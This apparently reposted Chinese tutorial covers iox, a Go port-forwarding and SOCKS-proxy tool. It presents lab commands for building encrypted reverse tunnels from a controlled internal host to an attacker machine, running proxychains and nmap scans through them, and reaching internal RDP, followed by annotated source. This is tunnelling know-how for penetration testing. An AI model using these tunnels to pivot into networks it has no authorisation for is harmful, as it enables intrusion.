LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

iox:端口转发 & SOCKS代理工具

admin
2025年10月7日 23:47 本文热度 19

内网隧道之iox


前言

本文研究端口转发 & SOCKS代理工具的一个工具,iox

github:https://github.com/EddieIvan01/iox

一、概述

1、简介

最后更新于2020年,用Go编写,功能类似于lcx/ew,优化了网络逻辑,简化了使用方法

  •     支持跨平台

  •     支持TCP/UDP

  •     反向代理模式中使用TCP多路复用

  •     有流量加密功能

2、原理

就是端口转发和SOCKS代理,与lcx和EW的原理相仿

3、用法

#加密./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565 #目标./iox fwd -l *8888 -l 33890 -k 656565 #攻击机# UDP -u./iox fwd -l 53 -r *127.0.0.1:8888 -k 000102 -u./iox fwd -l *8888 -l *9999 -k 000102 -u./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k 000102 -u

(1)端口转发

#监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发./iox fwd -l 8888 -l 9999#监听0.0.0.0:8888,把流量转发到1.1.1.1:9999./iox fwd -l 8888 -r 1.1.1.1:9999#连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

(2)SOCKS代理

#在本地 0.0.0.0:1080启动Socks5服务./iox proxy -l 1080#在被控机开启Socks5服务,将服务转发到公网VPS#在VPS上转发0.0.0.0:9999到0.0.0.0:1080#你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连./iox proxy -r 1.1.1.1:9999./iox proxy -l 9999 -l 1080      #注意,这两个端口是有顺序的#接着连接内网主机proxychains.confsocks5://1.1.1.1:1080
$ proxychains rdesktop 192.168.0.100:3389

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128

目标机(客户端):ubuntu 192.168.10.129


都没有限制TCP连接

2、端口转发

(1)服务端

./iox fwd -l *2222 -l 3333 -k 123456 

(2)客户端

开启apache

./iox fwd -r 127.0.0.1:80 -r *192.168.10.128:2222 -k 123456

(3)隧道建立


还可以nc、ssh等,根据端口来确定服务

(4)抓包看看

tcp三次握手建立连接,客户端向外发起连接的端口是60614和60618

心跳包

3、SOCKS代理

(1)服务端

修改/etc/proxychains.conf

socks5  0.0.0.0 1080

监听并映射端口

./iox proxy -l 2222 -l 1080

(2)客户端

./iox proxy -r 192.168.10.128:2222

(3)隧道建立

之后通过proxychains可以执行命令

如nmap扫描端口信息

proxychains4 nmap -p 1-1000 -Pn -sT 192.168.10.129  


(4)抓包看看

tcp握手


nmap期间

三、探索

1、源码与分析

(1)main.go

使用方法和调用相应模式

package main
import (  "fmt"  "iox/operate"  "iox/option"  "os")
const VERSION = "0.4"
func Usage() {  fmt.Printf(    "iox v%v\n"+      "Usage: iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]\n\n"+      "Options:\n"+      "  -l [*][HOST:]PORT\n"+      "      address to listen on. `*` means encrypted socket\n"+      "  -r [*]HOST:PORT\n"+      "      remote host to connect, HOST can be IP or Domain. `*` means encrypted socket\n"+      "  -k HEX\n"+      "      hexadecimal format key, be used to generate Key and IV\n"+      "  -u\n"+      "      udp forward mode\n"+      "  -t TIMEOUT\n"+      "      set connection timeout(millisecond), default is 5000\n"+      "  -v\n"+      "      enable log output\n"+      "  -h\n"+      "      print usage then exit\n", VERSION,  )}
func main() {  mode, submode, local, remote, lenc, renc, err := option.ParseCli(os.Args[1:])  if err != nil {    if err == option.PrintUsage {      Usage()    } else {      fmt.Println(err.Error())    }    return  }  // 端口转发和代理两种模式  switch mode {  case "fwd":    switch submode {    case option.SUBMODE_L2R:      operate.Local2Remote(local[0], remote[0], lenc[0], renc[0])    case option.SUBMODE_L2L:      operate.Local2Local(local[0], local[1], lenc[0], lenc[1])    case option.SUBMODE_R2R:      operate.Remote2Remote(remote[0], remote[1], renc[0], renc[1])    }  case "proxy":    switch submode {    case option.SUBMODE_LP:      operate.ProxyLocal(local[0], lenc[0])    case option.SUBMODE_RP:      operate.ProxyRemote(remote[0], renc[0])    case option.SUBMODE_RPL2L:      operate.ProxyRemoteL2L(local[0], local[1], lenc[0], lenc[1])    }  }}

(2)options.go

缺省值

package option
const (  TCP_BUFFER_SIZE = 0x8000
 // UDP protocol's max capacity  UDP_PACKET_MAX_SIZE = 0xFFFF - 28
 UDP_PACKET_CHANNEL_SIZE = 0x800
 CONNECTING_RETRY_DURATION = 1500
 SMUX_KEEPALIVE_INTERVAL = 20  SMUX_KEEPALIVE_TIMEOUT  = 60  SMUX_FRAMESIZE          = 0x8000  SMUX_RECVBUFFER         = 0x400000  SMUX_STREAMBUFFER       = 0x10000)
var (  TIMEOUT = 5000
 PROTOCOL = "TCP"
 // enable log output  VERBOSE = false
 // logic optimization, changed in v0.1.1  FORWARD_WITHOUT_DEC = false)

(3)parsecli.go

读取输入参数

package option
import (  "encoding/hex"  "errors"  "iox/crypto"  "strconv")
var (  errUnrecognizedMode    = errors.New("Unrecognized mode. Must choose a working mode in [fwd/proxy]")  errHexDecodeError      = errors.New("KEY must be a hexadecimal string")  PrintUsage             = errors.New("")  errUnrecognizedSubMode = errors.New("Malformed args. Incorrect number of `-l/-r` params")  errNoSecretKey         = errors.New("Encryption enabled, must specify a KEY by `-k` param")  errNotANumber          = errors.New("Timeout param must be a number")  errUDPMode             = errors.New("UDP mode only support fwd mode"))
const (  SUBMODE_L2L = iota  SUBMODE_R2R  SUBMODE_L2R
 SUBMODE_LP  SUBMODE_RP  SUBMODE_RPL2L)
// Dont need flag-libfunc ParseCli(args []string) (  mode string,  submode int,  local []string,  remote []string,  lenc []bool,  renc []bool,  err error) {
 if len(args) == 0 {    err = PrintUsage    return  }
 mode = args[0]
 switch mode {  case "fwd", "proxy":  case "-h", "--help":    err = PrintUsage    return  default:    err = errUnrecognizedMode    return  }
 args = args[1:]  ptr := 0
 for {    if ptr == len(args) {      break    }
   switch args[ptr] {    case "-l", "--local":      l := args[ptr+1]      if l[0] == '*' {        lenc = append(lenc, true)        l = l[1:]      } else {        lenc = append(lenc, false)      }
     if _, err := strconv.Atoi(l); err == nil {        local = append(local, "0.0.0.0:"+l) //默认监听0.0.0.0      } else {        if l[0] == ':' {          local = append(local, "0.0.0.0"+l)        } else {          local = append(local, l)        }      }      ptr++
   case "-r", "--remote":      r := args[ptr+1]      if r[0] == '*' {        renc = append(renc, true)        r = r[1:]      } else {        renc = append(renc, false)      }
     remote = append(remote, r)      ptr++
   case "-u", "--udp":      PROTOCOL = "UDP"
   case "-k", "--key":      var key []byte      key, err = hex.DecodeString(args[ptr+1])      if err != nil {        err = errHexDecodeError        return      }      crypto.ExpandKey(key)      ptr++
   case "-t", "--timeout":      TIMEOUT, err = strconv.Atoi(args[ptr+1])      if err != nil {        err = errNotANumber        return      }      ptr++    case "-v", "--verbose":      VERBOSE = true    case "-h", "--help":      err = PrintUsage      return    }
   ptr++  }
 if mode == "fwd" {    switch {    case len(local) == 0 && len(remote) == 2:      submode = SUBMODE_R2R    case len(local) == 1 && len(remote) == 1:      submode = SUBMODE_L2R    case len(local) == 2 && len(remote) == 0:      submode = SUBMODE_L2L    default:      err = errUnrecognizedSubMode      return    }  } else {    switch {    case len(local) == 0 && len(remote) == 1:      submode = SUBMODE_RP    case len(local) == 1 && len(remote) == 0:      submode = SUBMODE_LP    case len(local) == 2 && len(remote) == 0:      submode = SUBMODE_RPL2L    default:      err = errUnrecognizedSubMode      return    }  }
 if len(lenc) != len(local) || len(renc) != len(remote) {    err = errUnrecognizedSubMode    return  }
 if crypto.SECRET_KEY == nil {    for i, _ := range lenc {      if lenc[i] {        err = errNoSecretKey        return      }    }
   for i, _ := range renc {      if renc[i] {        err = errNoSecretKey        return      }    }  }
 if PROTOCOL == "UDP" && mode == "proxy" {    err = errUDPMode    return  }
 shouldFwdWithoutDec(lenc, renc)
 return}
func shouldFwdWithoutDec(lenc []bool, renc []bool) {  if len(lenc)+len(renc) != 2 {    return  }
 var result uint8  for i, _ := range lenc {    if lenc[i] {      result++    }  }
 for i, _ := range renc {    if renc[i] {      result++    }  }
 if result == 2 {    FORWARD_WITHOUT_DEC = true  }}

(4)context.go

TCP和UDP的信息的加密写和解密读

package netio
import (  "iox/crypto"  "iox/option"  "net")
type Ctx interface {  DecryptRead(b []byte) (int, error)  EncryptWrite(b []byte) (int, error)
 net.Conn}
var _ Ctx = &TCPCtx{}var _ Ctx = &UDPCtx{}
type TCPCtx struct {  net.Conn  encrypted bool
 // Ensure stream cipher synchronous  encCipher *crypto.Cipher  decCipher *crypto.Cipher}
func NewTCPCtx(conn net.Conn, encrypted bool) (*TCPCtx, error) {  // if tc, ok := conn.(*net.TCPConn); ok {  //     tc.SetLinger(0)  // }
 encrypted = encrypted && !option.FORWARD_WITHOUT_DEC
 ctx := &TCPCtx{    Conn:      conn,    encrypted: encrypted,  }
 if encrypted {    encCipher, decCipher, err := crypto.NewCipherPair()    if err != nil {      return nil, err    }
   ctx.encCipher = encCipher    ctx.decCipher = decCipher  }
 return ctx, nil}
func (c *TCPCtx) DecryptRead(b []byte) (int, error) {  n, err := c.Read(b)  if err != nil {    return n, err  }
 if c.encrypted {    c.decCipher.StreamXOR(b[:n], b[:n])  }
 return n, err}
func (c *TCPCtx) EncryptWrite(b []byte) (int, error) {  if c.encrypted {    c.encCipher.StreamXOR(b, b)  }  return c.Write(b)}
type UDPCtx struct {  *net.UDPConn  encrypted  bool  connected  bool  remoteAddr *net.UDPAddr
 // sync.Mutex}
func NewUDPCtx(conn *net.UDPConn, encrypted bool, connected bool) (*UDPCtx, error) {  encrypted = encrypted && !option.FORWARD_WITHOUT_DEC
 ctx := &UDPCtx{    UDPConn:   conn,    encrypted: encrypted,    connected: connected,  }
 return ctx, nil}
// Encryption for packet is different from streamfunc (c *UDPCtx) DecryptRead(b []byte) (int, error) {  var n int  var err error
 if !c.connected {    var remoteAddr *net.UDPAddr    n, remoteAddr, err = c.ReadFromUDP(b)    if err != nil {      return n, err    }    c.remoteAddr = remoteAddr
 } else {    n, err = c.Read(b)    if err != nil {      return n, err    }  }
 if c.encrypted {    if len(b) < 0x18 {      // no nonce, skip      return 0, nil    }    nonce := b[n-0x18 : n]    b = b[:n-0x18]
   cipher, err := crypto.NewCipher(nonce)    if err != nil {      return 0, err    }
   n -= 0x18    cipher.StreamXOR(b[:n], b[:n])  }
 return n, err}
func (c *UDPCtx) EncryptWrite(b []byte) (int, error) {  if c.encrypted {    iv, err := crypto.RandomNonce()    cipher, err := crypto.NewCipher(iv)    if err != nil {      return 0, err    }
   cipher.StreamXOR(b, b)    b = append(b, iv...)  }
 if !c.connected {    return c.WriteTo(b, c.remoteAddr)  }  return c.Write(b)}
/*func (c UDPCtx) IsRemoteAddrRegistered() bool {  return c.remoteAddr != nil}*/

(5)forward.go

读写功能,每个套接字只将数据包写入最近向其发送数据包的地址,而不是广播到所有地址

package netio
import (  "io"  "iox/logger"  "iox/option")
func CipherCopy(dst Ctx, src Ctx) (int64, error) {  buffer := make([]byte, option.TCP_BUFFER_SIZE)  var written int64  var err error
 for {    var nr int    var er error
   nr, er = src.DecryptRead(buffer)
   if nr > 0 {      var nw int      var ew error
     nw, ew = dst.EncryptWrite(buffer[:nr])
     if nw > 0 {        logger.Info("<== [%d bytes] ==> ", nw)        written += int64(nw)      }      if ew != nil {        err = ew        break      }      if nr != nw {        err = io.ErrShortWrite        break      }    }    if er != nil {      if er != io.EOF {        err = er      }      break    }  }
 return written, err}
func PipeForward(ctxA Ctx, ctxB Ctx) {  signal := make(chan struct{}, 1)
 go func() {    CipherCopy(ctxA, ctxB)    signal <- struct{}{}  }()
 go func() {    CipherCopy(ctxB, ctxA)    signal <- struct{}{}  }()
 <-signal}
// This function will run forever// If need to do performance optimization in future, I will consider a go-routine pool here,// but it will introduce the mutex-lock overheadfunc ForwardUDP(ctxA Ctx, ctxB Ctx) {  go func() {    buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)    for {      nr, _ := ctxA.DecryptRead(buffer)      if nr > 0 {        if nr == 4 &&          buffer[0] == 0xCC && buffer[1] == 0xDD &&          buffer[2] == 0xEE && buffer[3] == 0xFF {          continue        }
       nw, _ := ctxB.EncryptWrite(buffer[:nr])        if nw > 0 {          logger.Info("<== [%d bytes] ==>", nw)        }      }    }  }()
 go func() {    buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)    for {      nr, _ := ctxB.DecryptRead(buffer)      if nr > 0 {        if nr == 4 &&          buffer[0] == 0xCC && buffer[1] == 0xDD &&          buffer[2] == 0xEE && buffer[3] == 0xFF {          continue        }
       nw, _ := ctxA.EncryptWrite(buffer[:nr])        if nw > 0 {          logger.Info("<== [%d bytes] ==>", nw)        }      }    }  }()
 select {}}
var UDP_INIT_PACKET = []byte{  0xCC, 0xDD, 0xEE, 0xFF,}
// Each socket only writes the packet to the address which last sent packet to it recently,// instead of broadcasting to all the addressfunc ForwardUnconnectedUDP(ctxA Ctx, ctxB Ctx) {  addrRegistedA := false  addrRegistedB := false  addrRegistedSignalA := make(chan struct{})  addrRegistedSignalB := make(chan struct{})
 packetChannelA := make(chan []byte, option.UDP_PACKET_CHANNEL_SIZE)  packetChannelB := make(chan []byte, option.UDP_PACKET_CHANNEL_SIZE)
 // A read  go func() {    for {      buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)      nr, _ := ctxA.DecryptRead(buffer)      if nr > 0 {        if !addrRegistedA {          addrRegistedA = true          addrRegistedSignalA <- struct{}{}        }
       if !(nr == 4 &&          buffer[0] == 0xCC && buffer[1] == 0xDD &&          buffer[2] == 0xEE && buffer[3] == 0xFF) {          packetChannelB <- buffer[:nr]        }      }    }  }()
 // B read  go func() {    for {      buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)      nr, _ := ctxB.DecryptRead(buffer)      if nr > 0 {        if !addrRegistedB {          addrRegistedB = true          addrRegistedSignalB <- struct{}{}        }
       if !(nr == 4 &&          buffer[0] == 0xCC && buffer[1] == 0xDD &&          buffer[2] == 0xEE && buffer[3] == 0xFF) {          packetChannelA <- buffer[:nr]        }      }    }  }()
 // A write  go func() {    <-addrRegistedSignalA    var n int    for {      packet := <-packetChannelA      n, _ = ctxA.EncryptWrite(packet)      if n > 0 {        logger.Info("<== [%d bytes] ==>", n)      }    }  }()
 // B write  go func() {    <-addrRegistedSignalB    var n int    for {      packet := <-packetChannelB      n, _ = ctxB.EncryptWrite(packet)      if n > 0 {        logger.Info("<== [%d bytes] ==>", n)      }    }  }()
 select {}}

(6)socks5.go

写socks5

// code from https://github.com/ring04h/s5.gopackage socks5
import (  "errors"  "io"  "iox/logger"  "iox/netio"  "iox/option"  "net"  "strconv"  "time")
var (  Commands = []string{"CONNECT", "BIND", "UDP ASSOCIATE"}  AddrType = []string{"", "IPv4", "", "Domain", "IPv6"}  Verbose  = false
 errAddrType      = errors.New("socks addr type not supported")  errVer           = errors.New("socks version not supported")  errMethod        = errors.New("socks only support noauth method")  errAuthExtraData = errors.New("socks authentication get extra data")  errReqExtraData  = errors.New("socks request get extra data")  errCmd           = errors.New("socks only support connect command"))
const (  socksVer5       = 0x05  socksCmdConnect = 0x01)
func readAtLeast(r netio.Ctx, buf []byte, min int) (n int, err error) {  if len(buf) < min {    return 0, io.ErrShortBuffer  }
 for n < min && err == nil {    var nn int    nn, err = r.DecryptRead(buf[n:])    n += nn  }  if n >= min {    err = nil  } else if n > 0 && err == io.EOF {    err = io.ErrUnexpectedEOF  }  return}
func handShake(conn netio.Ctx) (err error) {  const (    idVer     = 0    idNmethod = 1  )
 buf := make([]byte, 258)
 var n int
 // make sure we get the nmethod field  if n, err = readAtLeast(conn, buf, idNmethod+1); err != nil {    return  }
 if buf[idVer] != socksVer5 {    return errVer  }
 nmethod := int(buf[idNmethod]) //  client support auth mode  msgLen := nmethod + 2          //  auth msg length  if n == msgLen {               // handshake done, common case    // do nothing, jump directly to send confirmation  } else if n < msgLen { // has more methods to read, rare case    if _, err = readAtLeast(conn, buf[n:msgLen], len(buf[n:msgLen])); err != nil {      return    }  } else { // error, should not get extra data    return errAuthExtraData  }  /*     X'00' NO AUTHENTICATION REQUIRED     X'01' GSSAPI     X'02' USERNAME/PASSWORD     X'03' to X'7F' IANA ASSIGNED     X'80' to X'FE' RESERVED FOR PRIVATE METHODS     X'FF' NO ACCEPTABLE METHODS  */  // send confirmation: version 5, no authentication required  _, err = conn.EncryptWrite([]byte{socksVer5, 0})
 return}
func parseTarget(conn netio.Ctx) (host string, err error) {  const (    idVer   = 0    idCmd   = 1    idType  = 3 // address type index    idIP0   = 4 // ip addres start index    idDmLen = 4 // domain address length index    idDm0   = 5 // domain address start index
   typeIPv4 = 1 // type is ipv4 address    typeDm   = 3 // type is domain address    typeIPv6 = 4 // type is ipv6 address
   lenIPv4   = 3 + 1 + net.IPv4len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv4 + 2port    lenIPv6   = 3 + 1 + net.IPv6len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv6 + 2port    lenDmBase = 3 + 1 + 1 + 2           // 3 + 1addrType + 1addrLen + 2port, plus addrLen  )  // refer to getRequest in server.go for why set buffer size to 263  buf := make([]byte, 263)  var n int
 // read till we get possible domain length field  if n, err = readAtLeast(conn, buf, idDmLen+1); err != nil {    return  }
 // check version and cmd  if buf[idVer] != socksVer5 {    err = errVer    return  }
 /*     CONNECT X'01'     BIND X'02'     UDP ASSOCIATE X'03'  */
 if buf[idCmd] > 0x03 || buf[idCmd] == 0x00 {    logger.Info("Unknown Command: %d", buf[idCmd])  }
 if buf[idCmd] != socksCmdConnect { //  only support CONNECT mode    err = errCmd    return  }
 // read target address  reqLen := -1  switch buf[idType] {  case typeIPv4:    reqLen = lenIPv4  case typeIPv6:    reqLen = lenIPv6  case typeDm: // domain name    reqLen = int(buf[idDmLen]) + lenDmBase  default:    err = errAddrType    return  }
 if n == reqLen {    // common case, do nothing  } else if n < reqLen { // rare case    if _, err = readAtLeast(conn, buf[n:reqLen], len(buf[n:reqLen])); err != nil {      return    }  } else {    err = errReqExtraData    return  }
 switch buf[idType] {  case typeIPv4:    host = net.IP(buf[idIP0 : idIP0+net.IPv4len]).String()  case typeIPv6:    host = net.IP(buf[idIP0 : idIP0+net.IPv6len]).String()  case typeDm:    host = string(buf[idDm0 : idDm0+buf[idDmLen]])  }  port := bigEndianUint16(buf[reqLen-2 : reqLen])  host = net.JoinHostPort(host, strconv.Itoa(int(port)))
 return}
func bigEndianUint16(b []byte) uint16 {  _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808  return uint16(b[1]) | uint16(b[0])<<8}
func pipeWhenClose(conn netio.Ctx, target string) {  remoteConn, err := net.DialTimeout(    "tcp", target,    time.Millisecond*time.Duration(option.TIMEOUT),  )  if err != nil {    logger.Info("Connect remote :" + err.Error())    return  }  defer remoteConn.Close()
 tcpAddr := remoteConn.LocalAddr().(*net.TCPAddr)  if tcpAddr.Zone == "" {    if tcpAddr.IP.Equal(tcpAddr.IP.To4()) {      tcpAddr.Zone = "ip4"    } else {      tcpAddr.Zone = "ip6"    }  }
 rep := make([]byte, 256)  rep[0] = 0x05  rep[1] = 0x00 // success  rep[2] = 0x00 //RSV
 //IP  if tcpAddr.Zone == "ip6" {    rep[3] = 0x04 //IPv6  } else {    rep[3] = 0x01 //IPv4  }
 var ip net.IP  if "ip6" == tcpAddr.Zone {    ip = tcpAddr.IP.To16()  } else {    ip = tcpAddr.IP.To4()  }  pindex := 4  for _, b := range ip {    rep[pindex] = b    pindex += 1  }  rep[pindex] = byte((tcpAddr.Port >> 8) & 0xff)  rep[pindex+1] = byte(tcpAddr.Port & 0xff)
 conn.EncryptWrite(rep[0 : pindex+2])  // Transfer data
 remoteConnCtx, err := netio.NewTCPCtx(remoteConn, false)  if err != nil {    logger.Info("Socks5 remote connect error: %s", err.Error())    return  }
 netio.PipeForward(conn, remoteConnCtx)}
func HandleConnection(conn netio.Ctx) {  if err := handShake(conn); err != nil {    logger.Info("Socks5 handshake error: %s", err.Error())    return  }  addr, err := parseTarget(conn)  if err != nil {    logger.Info("socks consult transfer mode or parse target: %s", err.Error())    return  }  pipeWhenClose(conn, addr)}

(7)fwd.go

TCP和UDP的三种端口转发

package operate
import (  "iox/crypto"  "iox/logger"  "iox/netio"  "iox/option"  "net"  "time")
func local2RemoteTCP(local string, remote string, lenc bool, renc bool) {  listener, err := net.Listen("tcp", local)  if err != nil {    logger.Warn("Listen on %s error: %s", local, err.Error())    return  }  defer listener.Close()
 for {    logger.Info("Wait for connection on %s", local)
   localConn, err := listener.Accept()    if err != nil {      logger.Warn("Handle local connect error: %s", err.Error())      continue    }
   go func() {      defer localConn.Close()
     logger.Info("Connection from %s", localConn.RemoteAddr().String())      logger.Info("Connecting " + remote)
     localConnCtx, err := netio.NewTCPCtx(localConn, lenc)      if err != nil {        logger.Warn("Handle local connect error: %s", err.Error())        return      }
     remoteConn, err := net.DialTimeout(        "tcp", remote,        time.Millisecond*time.Duration(option.TIMEOUT),      )      if err != nil {        logger.Warn("Connect remote %s error: %s", remote, err.Error())        return      }      defer remoteConn.Close()
     remoteConnCtx, err := netio.NewTCPCtx(remoteConn, renc)      if err != nil {        logger.Warn("Connect remote %s error: %s", remote, err.Error())        return      }
     logger.Info("Open pipe: %s <== FWD ==> %s",        localConn.RemoteAddr().String(), remoteConn.RemoteAddr().String())      netio.PipeForward(localConnCtx, remoteConnCtx)      logger.Info("Close pipe: %s <== FWD ==> %s",        localConn.RemoteAddr().String(), remoteConn.RemoteAddr().String())    }()  }
}
func local2RemoteUDP(local string, remote string, lenc bool, renc bool) {  localAddr, err := net.ResolveUDPAddr("udp", local)  if err != nil {    logger.Warn("Parse udp address %s error: %s", local, err.Error())    return  }  listener, err := net.ListenUDP("udp", localAddr)  if err != nil {    logger.Warn("Listen udp on %s error: %s", local, err.Error())    return  }  defer listener.Close()
 remoteAddr, err := net.ResolveUDPAddr("udp", remote)  if err != nil {    logger.Warn("Parse udp address %s error: %s", local, err.Error())    return  }  remoteConn, err := net.DialUDP("udp", nil, remoteAddr)  if err != nil {    logger.Warn("Dial remote udp %s error: %s", local, err.Error())    return  }  defer remoteConn.Close()
 listenerCtx, err := netio.NewUDPCtx(listener, lenc, false)  if err != nil {    return  }  remoteCtx, err := netio.NewUDPCtx(remoteConn, renc, true)  if err != nil {    return  }
 netio.ForwardUDP(listenerCtx, remoteCtx)}
func Local2Remote(local string, remote string, lenc bool, renc bool) {  if option.PROTOCOL == "TCP" {    logger.Success("Forward TCP traffic between %s (encrypted: %v) and %s (encrypted: %v)",      local, lenc, remote, renc)    local2RemoteTCP(local, remote, lenc, renc)  } else {    logger.Success("Forward UDP traffic between %s (encrypted: %v) and %s (encrypted: %v)",      local, lenc, remote, renc)    local2RemoteUDP(local, remote, lenc, renc)  }}
func local2LocalTCP(localA string, localB string, laenc bool, lbenc bool) {  var listenerA net.Listener  var listenerB net.Listener
 for {    signal := make(chan byte)    var localConnA net.Conn    var localConnB net.Conn
   go func() {      var err error      listenerA, err = net.Listen("tcp", localA)      if err != nil {        logger.Warn("Listen on %s error: %s", localA, err.Error())        return      }      defer listenerA.Close()
     for {        logger.Info("Wait for connection on %s", localA)
       var err error        localConnA, err = listenerA.Accept()        if err != nil {          logger.Warn("Handle connection error: %s", err.Error())          continue        }        break      }      signal <- 'A'    }()
   go func() {      var err error      listenerB, err = net.Listen("tcp", localB)      if err != nil {        logger.Warn("Listen on %s error: %s", localB, err.Error())        return      }      defer listenerB.Close()
     for {        logger.Info("Wait for connection on %s", localB)
       var err error        localConnB, err = listenerB.Accept()        if err != nil {          logger.Warn("Handle connection error: %s", err.Error())          continue        }        break      }      signal <- 'B'    }()
   switch <-signal {    case 'A':      logger.Info("%s connected, waiting for %s", localA, localB)    case 'B':      logger.Info("%s connected, waiting for %s", localB, localA)    }
   <-signal
   go func() {      defer func() {        if localConnA != nil {          localConnA.Close()        }
       if localConnB != nil {          localConnB.Close()        }      }()      //找了中间端口转发      localConnCtxA, err := netio.NewTCPCtx(localConnA, laenc)      if err != nil {        logger.Warn("handle local %s error: %s", localA, err.Error())      }
     localConnCtxB, err := netio.NewTCPCtx(localConnB, lbenc)      if err != nil {        logger.Warn("handle local %s error: %s", localB, err.Error())      }
     logger.Info("Open pipe: %s <== FWD ==> %s",        localConnA.RemoteAddr().String(), localConnB.RemoteAddr().String())      netio.PipeForward(localConnCtxA, localConnCtxB)      logger.Info("Close pipe: %s <== FWD ==> %s",        localConnA.RemoteAddr().String(), localConnB.RemoteAddr().String())    }()  }}
func local2LocalUDP(localA string, localB string, laenc bool, lbenc bool) {  localAddrA, err := net.ResolveUDPAddr("udp", localA)  if err != nil {    logger.Warn("Parse udp address %s error: %s", localA, err.Error())    return  }  listenerA, err := net.ListenUDP("udp", localAddrA)  if err != nil {    logger.Warn("Listen udp on %s error: %s", localA, err.Error())    return  }  defer listenerA.Close()
 localAddrB, err := net.ResolveUDPAddr("udp", localB)  if err != nil {    logger.Warn("Parse udp address %s error: %s", localB, err.Error())    return  }  listenerB, err := net.ListenUDP("udp", localAddrB)  if err != nil {    logger.Warn("Listen udp on %s error: %s", localB, err.Error())    return  }  defer listenerB.Close()
 listenerCtxA, err := netio.NewUDPCtx(listenerA, laenc, false)  if err != nil {    return  }  listenerCtxB, err := netio.NewUDPCtx(listenerB, lbenc, false)  if err != nil {    return  }
 netio.ForwardUnconnectedUDP(listenerCtxA, listenerCtxB)}
func Local2Local(localA string, localB string, laenc bool, lbenc bool) {  if option.PROTOCOL == "TCP" {    logger.Success("Forward TCP traffic between %s (encrypted: %v) and %s (encrypted: %v)",      localA, laenc, localB, lbenc)
   local2LocalTCP(localA, localB, laenc, lbenc)  } else {    logger.Success("Forward UDP traffic between %s (encrypted: %v) and %s (encrypted: %v)",      localA, laenc, localB, lbenc)    local2LocalUDP(localA, localB, laenc, lbenc)  }}
func remote2remoteTCP(remoteA string, remoteB string, raenc bool, rbenc bool) {  for {    var remoteConnA net.Conn    var remoteConnB net.Conn
   signal := make(chan struct{})
   go func() {      for {        var err error        logger.Info("Connecting remote %s", remoteA)
       remoteConnA, err = net.DialTimeout(          "tcp", remoteA,          time.Millisecond*time.Duration(option.TIMEOUT),        )        if err != nil {          logger.Info("Connect remote %s error, retrying", remoteA)          time.Sleep(option.CONNECTING_RETRY_DURATION * time.Millisecond)          continue        }        break      }
     signal <- struct{}{}    }()
   go func() {      for {        var err error        logger.Info("Connecting remote %s", remoteB)
       remoteConnB, err = net.DialTimeout(          "tcp", remoteB,          time.Millisecond*time.Duration(option.TIMEOUT),        )        if err != nil {          logger.Info("Connect remote %s error, retrying", remoteB)          time.Sleep(option.CONNECTING_RETRY_DURATION * time.Millisecond)          continue        }        break      }
     signal <- struct{}{}    }()
   <-signal    <-signal
   go func() {      defer func() {        if remoteConnA != nil {          remoteConnA.Close()        }
       if remoteConnB != nil {          remoteConnB.Close()        }      }()
     if remoteConnA != nil && remoteConnB != nil {        remoteConnCtxA, err := netio.NewTCPCtx(remoteConnA, raenc)        if err != nil {          logger.Warn("Handle remote %s error: %s", remoteA, err.Error())        }        remoteConnCtxB, err := netio.NewTCPCtx(remoteConnB, rbenc)        if err != nil {          logger.Warn("Handle remote %s error: %s", remoteB, err.Error())        }
       logger.Info("Start pipe: %s <== FWD ==> %s",          remoteConnA.RemoteAddr().String(), remoteConnB.RemoteAddr().String())        netio.PipeForward(remoteConnCtxA, remoteConnCtxB)        logger.Info("Close pipe: %s <== FWD ==> %s",          remoteConnA.RemoteAddr().String(), remoteConnB.RemoteAddr().String())      }    }()  }}
func remote2remoteUDP(remoteA string, remoteB string, raenc bool, rbenc bool) {  remoteAddrA, err := net.ResolveUDPAddr("udp", remoteA)  if err != nil {    logger.Warn("Parse udp address %s error: %s", remoteA, err.Error())    return  }  remoteConnA, err := net.DialUDP("udp", nil, remoteAddrA)  if err != nil {    logger.Warn("Dial remote udp %s error: %s", remoteA, err.Error())    return  }  defer remoteConnA.Close()
 remoteAddrB, err := net.ResolveUDPAddr("udp", remoteB)  if err != nil {    logger.Warn("Parse udp address %s error: %s", remoteB, err.Error())    return  }  remoteConnB, err := net.DialUDP("udp", nil, remoteAddrB)  if err != nil {    logger.Warn("Dial remote udp %s error: %s", remoteB, err.Error())    return  }  defer remoteConnB.Close()
 remoteCtxA, err := netio.NewUDPCtx(remoteConnA, raenc, true)  if err != nil {    return  }  remoteCtxB, err := netio.NewUDPCtx(remoteConnB, rbenc, true)  if err != nil {    return  }
 {    // Need to send init packet to register the remote address, it doesn't matter even tough target is not `iox`    //    // There is a design fault here, and I need to consider the case where the FORWARD_WITHOUT_DEC flag is set    // but actually needs to be encrypted, otherwise there is no IV in the ciphertext    if raenc {      iv, err := crypto.RandomNonce()      cipher, err := crypto.NewCipher(iv)      if err != nil {        return      }
     b := make([]byte, 4, 20)      copy(b, netio.UDP_INIT_PACKET)
     cipher.StreamXOR(b, b)      b = append(b, iv...)      remoteCtxA.Write(b)
   } else {      remoteCtxA.Write(netio.UDP_INIT_PACKET)    }    if rbenc {      iv, err := crypto.RandomNonce()      cipher, err := crypto.NewCipher(iv)      if err != nil {        return      }
     b := make([]byte, 4, 20)      copy(b, netio.UDP_INIT_PACKET)
     cipher.StreamXOR(b, b)      b = append(b, iv...)      remoteCtxB.Write(b)
   } else {      remoteCtxB.Write(netio.UDP_INIT_PACKET)    }  }
 netio.ForwardUDP(remoteCtxA, remoteCtxB)}
